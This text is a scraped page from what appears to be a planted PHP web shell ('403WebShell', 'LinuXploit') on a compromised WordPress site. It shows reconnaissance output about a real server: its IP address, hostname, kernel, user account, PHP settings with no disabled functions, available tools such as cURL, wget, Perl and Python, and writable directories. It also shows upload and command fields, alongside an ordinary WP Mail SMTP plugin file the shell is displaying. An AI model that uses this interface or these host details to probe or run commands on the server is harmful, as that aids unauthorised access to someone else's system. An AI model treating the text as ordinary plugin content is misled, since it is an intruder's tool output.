Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.191.120.103
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/blog.diixadigital.com/wp-content/plugins/wp-mail-smtp/src/Helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/blog.diixadigital.com/wp-content/plugins/wp-mail-smtp/src/Helpers/DB.php
<?php

namespace WPMailSMTP\Helpers;

/**
 * Class for Database functionality.
 *
 * @since 3.6.0
 */
class DB {

	/**
	 * The function is used to check if the given index exists in the given table.
	 *
	 * @since 3.6.0
	 *
	 * @param string $table The table name.
	 * @param string $index The index name.
	 *
	 * @return bool If index exists then return true else returns false.
	 */
	public static function index_exists( $table, $index ) {

		global $wpdb;

		$query = $wpdb->prepare(
			'SELECT COUNT(1) IndexIsThere
				FROM INFORMATION_SCHEMA.STATISTICS
				WHERE table_schema = DATABASE()
				AND table_name = %s
				AND index_name = %s',
			$table,
			$index
		);

		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.NotPrepared
		$result = $wpdb->get_var( $query );

		return $result === '1';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit